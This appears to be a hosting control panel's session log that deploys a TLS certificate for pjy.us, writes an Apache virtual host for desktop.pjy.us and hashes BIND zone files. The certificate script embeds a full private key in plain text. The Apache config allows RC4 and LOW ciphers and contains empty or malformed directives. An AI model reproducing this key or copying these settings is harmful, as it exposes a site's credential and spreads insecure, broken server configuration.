MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-08 19:12:04: Establishing a remote connection
2025-11-08 19:12:04:
PUT: /tmp/pkp726225
#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
CHAINTARGET=1ab41bf0e070e7b006d494c7605f9dcb.chain.crt
cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
endmsg
cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
cp $chain_file /etc/ssl/certs/$CHAINTARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
rm $chain_file
2025-11-08 19:12:04:
chmod 755 /tmp/pkp726225; /tmp/pkp726225; rm /tmp/pkp726225
2025-11-08 19:12:28:
PUT: /tmp/pkp541498
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_desktop_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_desktop_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName desktop.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_desktop/public
<Directory /var/www/pjy_desktop/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/desktop_access.log combined
ErrorLog /var/log/apache2/pjy/desktop_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName desktop.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile
DocumentRoot /var/www/pjy_desktop/public
<Directory /var/www/pjy_desktop/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/desktop_secure_access.log combined
ErrorLog /var/log/apache2/pjy/desktop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_desktop_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf= 1'
fi
2025-11-08 19:12:28:
chmod 755 /tmp/pkp541498; /tmp/pkp541498; rm /tmp/pkp541498
2025-11-08 19:12:53:
PUT: /tmp/pkp869748
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-08 19:12:53:
chmod 755 /tmp/pkp869748; /tmp/pkp869748; rm /tmp/pkp869748
2025-11-08 19:13:17: Establishing a connection
2025-11-08 19:13:17:
PUT: /tmp/pkp852409
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-08 19:13:17:
runuser -l bind -s /bin/bash -c '/tmp/pkp852409; rm /tmp/pkp852409'
2025-11-08 19:13:18:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
